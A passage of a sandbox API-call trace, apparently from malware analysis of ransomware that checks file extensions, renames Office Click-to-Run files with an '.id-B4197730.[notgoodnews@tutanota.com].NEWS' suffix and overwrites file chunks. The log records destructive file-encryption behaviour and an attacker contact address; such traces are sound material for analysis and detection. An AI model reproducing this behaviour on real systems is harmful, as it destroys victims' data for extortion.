shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.526] lstrlenW (lpString=".zip") returned 4 [0085.526] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.526] lstrlenW (lpString=".rar") returned 4 [0085.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.526] lstrlenW (lpString=".bz2") returned 4 [0085.526] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.526] lstrlenW (lpString=".7z") returned 3 [0085.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.526] lstrlenW (lpString=".dbf") returned 4 [0085.526] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.526] lstrlenW (lpString=".1cd") returned 4 [0085.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.526] lstrlenW (lpString=".jpg") returned 4 [0085.526] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.526] lstrlenW (lpString=".doc") returned 4 [0085.526] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.526] lstrlenW (lpString=".docx") returned 5 [0085.526] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0085.526] lstrlenW (lpString=".pdf") returned 4 [0085.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.526] lstrlenW (lpString=".xls") returned 4 [0085.527] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.527] lstrlenW (lpString=".xlsx") returned 5 [0085.527] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0085.527] lstrlenW (lpString=".ppt") returned 4 [0085.527] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.527] lstrlenW (lpString=".zip") returned 4 [0085.527] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.527] lstrlenW (lpString=".rar") returned 4 [0085.527] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.527] lstrlenW (lpString=".bz2") returned 4 [0085.527] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.527] lstrlenW (lpString=".7z") returned 3 [0085.527] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.527] lstrlenW (lpString=".dbf") returned 4 [0085.527] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.527] lstrlenW (lpString=".1cd") returned 4 [0085.527] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0085.527] lstrlenW (lpString=".jpg") returned 4 [0085.527] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.527] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0085.527] lstrlenW (lpString="msvcp140.dll") returned 12 [0085.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.528] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=635040) returned 1 [0085.528] CloseHandle (hObject=0x398) returned 1 [0085.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20 [0085.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.528] lstrlenW (lpString=".doc") returned 4 [0085.528] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.528] lstrlenW (lpString=".docx") returned 5 [0085.528] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0085.528] lstrlenW (lpString=".pdf") returned 4 [0085.528] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.528] lstrlenW (lpString=".xls") returned 4 [0085.528] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.528] lstrlenW (lpString=".xlsx") returned 5 [0085.528] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0085.528] lstrlenW (lpString=".ppt") returned 4 [0085.528] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.528] lstrlenW (lpString=".zip") returned 4 [0085.529] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.529] lstrlenW (lpString=".rar") returned 4 [0085.529] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.529] lstrlenW (lpString=".bz2") returned 4 [0085.529] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.529] lstrlenW (lpString=".7z") returned 3 [0085.529] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.529] lstrlenW (lpString=".dbf") returned 4 [0085.529] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.529] lstrlenW (lpString=".1cd") returned 4 [0085.529] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.529] lstrlenW (lpString=".jpg") returned 4 [0085.529] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.529] lstrlenW (lpString=".doc") returned 4 [0085.529] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.529] lstrlenW (lpString=".docx") returned 5 [0085.529] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0085.529] lstrlenW (lpString=".pdf") returned 4 [0085.529] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.529] lstrlenW (lpString=".xls") returned 4 [0085.529] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.529] lstrlenW (lpString=".xlsx") returned 5 [0085.529] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0085.529] lstrlenW (lpString=".ppt") returned 4 [0085.529] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.529] lstrlenW (lpString=".zip") returned 4 [0085.529] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.530] lstrlenW (lpString=".rar") returned 4 [0085.530] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.530] lstrlenW (lpString=".bz2") returned 4 [0085.530] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.530] lstrlenW (lpString=".7z") returned 3 [0085.530] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.530] lstrlenW (lpString=".dbf") returned 4 [0085.530] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.530] lstrlenW (lpString=".1cd") returned 4 [0085.530] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70 [0085.530] lstrlenW (lpString=".jpg") returned 4 [0085.530] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.530] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0085.530] lstrlenW (lpString="msvcr120.dll") returned 12 [0085.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.530] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=963240) returned 1 [0085.530] CloseHandle (hObject=0x398) returned 1 [0085.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20 [0085.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.531] lstrlenW (lpString=".doc") returned 4 [0085.531] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.531] lstrlenW (lpString=".docx") returned 5 [0085.531] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0085.531] lstrlenW (lpString=".pdf") returned 4 [0085.531] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.531] lstrlenW (lpString=".xls") returned 4 [0085.531] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.531] lstrlenW (lpString=".xlsx") returned 5 [0085.531] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0085.531] lstrlenW (lpString=".ppt") returned 4 [0085.531] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.531] lstrlenW (lpString=".zip") returned 4 [0085.531] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.531] lstrlenW (lpString=".rar") returned 4 [0085.531] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.531] lstrlenW (lpString=".bz2") returned 4 [0085.531] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.531] lstrlenW (lpString=".7z") returned 3 [0085.531] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.532] lstrlenW (lpString=".dbf") returned 4 [0085.532] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.532] lstrlenW (lpString=".1cd") returned 4 [0085.532] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.532] lstrlenW (lpString=".jpg") returned 4 [0085.532] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.532] lstrlenW (lpString=".doc") returned 4 [0085.532] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.532] lstrlenW (lpString=".docx") returned 5 [0085.532] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0085.532] lstrlenW (lpString=".pdf") returned 4 [0085.532] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.532] lstrlenW (lpString=".xls") returned 4 [0085.532] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.532] lstrlenW (lpString=".xlsx") returned 5 [0085.532] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0085.532] lstrlenW (lpString=".ppt") returned 4 [0085.532] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.532] lstrlenW (lpString=".zip") returned 4 [0085.532] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.532] lstrlenW (lpString=".rar") returned 4 [0085.532] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.532] lstrlenW (lpString=".bz2") returned 4 [0085.532] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.532] lstrlenW (lpString=".7z") returned 3 [0085.532] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.532] lstrlenW (lpString=".dbf") returned 4 [0085.533] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.533] lstrlenW (lpString=".1cd") returned 4 [0085.533] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70 [0085.533] lstrlenW (lpString=".jpg") returned 4 [0085.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.533] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0085.533] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0085.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.534] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=5967976) returned 1 [0085.534] CloseHandle (hObject=0x398) returned 1 [0085.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20 [0085.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0085.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0085.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0085.535] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc64 | out: lpNewFilePointer=0x0) returned 1 [0085.535] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0085.535] ReadFile (in: hFile=0x398, lpBuffer=0x3805058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3805058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0085.946] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0085.946] ReadFile (in: hFile=0x398, lpBuffer=0x3845058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3845058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0085.954] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c1fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.954] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc24 | out: lpNewFilePointer=0x0) returned 1 [0085.954] ReadFile (in: hFile=0x398, lpBuffer=0x3885058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c1fc30, lpOverlapped=0x0 | out: lpBuffer=0x3885058*, lpNumberOfBytesRead=0x2c1fc30*=0x40000, lpOverlapped=0x0) returned 1 [0085.969] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.969] WriteFile (in: hFile=0x398, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2c1fca8, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fca8*=0xc0112, lpOverlapped=0x0) returned 1 [0085.986] SetEndOfFile (hFile=0x398) returned 1 [0086.574] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3dd3a48 [0087.123] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0087.123] WriteFile (in: hFile=0x398, lpBuffer=0x3dd3a48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3dd3a48*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0087.124] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0087.125] WriteFile (in: hFile=0x398, lpBuffer=0x3dd3a48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3dd3a48*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0087.130] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x571068, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fc74 | out: lpNewFilePointer=0x0) returned 1 [0087.130] WriteFile (in: hFile=0x398, lpBuffer=0x3dd3a48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c1fc80, lpOverlapped=0x0 | out: lpBuffer=0x3dd3a48*, lpNumberOfBytesWritten=0x2c1fc80*=0x40000, lpOverlapped=0x0) returned 1 [0087.174] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0087.174] CloseHandle (hObject=0x398) returned 1 [0087.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0087.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.174] lstrlenW (lpString=".doc") returned 4 [0087.174] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0087.174] lstrlenW (lpString=".docx") returned 5 [0087.174] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0087.174] lstrlenW (lpString=".pdf") returned 4 [0087.174] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0087.175] lstrlenW (lpString=".xls") returned 4 [0087.175] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0087.175] lstrlenW (lpString=".xlsx") returned 5 [0087.175] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0087.175] lstrlenW (lpString=".ppt") returned 4 [0087.175] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0087.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.175] lstrlenW (lpString=".zip") returned 4 [0087.175] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0087.175] lstrlenW (lpString=".rar") returned 4 [0087.175] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0087.175] lstrlenW (lpString=".bz2") returned 4 [0087.175] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0087.175] lstrlenW (lpString=".7z") returned 3 [0087.175] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0087.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.175] lstrlenW (lpString=".dbf") returned 4 [0087.175] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0087.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.175] lstrlenW (lpString=".1cd") returned 4 [0087.175] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0087.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.175] lstrlenW (lpString=".jpg") returned 4 [0087.175] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0087.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.175] lstrlenW (lpString=".doc") returned 4 [0087.175] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0087.175] lstrlenW (lpString=".docx") returned 5 [0087.175] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0087.175] lstrlenW (lpString=".pdf") returned 4 [0087.175] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0087.175] lstrlenW (lpString=".xls") returned 4 [0087.175] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0087.175] lstrlenW (lpString=".xlsx") returned 5 [0087.175] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0087.176] lstrlenW (lpString=".ppt") returned 4 [0087.176] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0087.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.176] lstrlenW (lpString=".zip") returned 4 [0087.176] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0087.176] lstrlenW (lpString=".rar") returned 4 [0087.176] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0087.176] lstrlenW (lpString=".bz2") returned 4 [0087.176] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0087.176] lstrlenW (lpString=".7z") returned 3 [0087.176] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0087.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.176] lstrlenW (lpString=".dbf") returned 4 [0087.176] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0087.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.176] lstrlenW (lpString=".1cd") returned 4 [0087.176] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0087.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0087.176] lstrlenW (lpString=".jpg") returned 4 [0087.176] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0087.176] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0087.176] lstrlenW (lpString="ucrtbase.dll") returned 12 [0087.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0087.178] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=982720) returned 1 [0087.178] CloseHandle (hObject=0x398) returned 1 [0087.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0087.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft 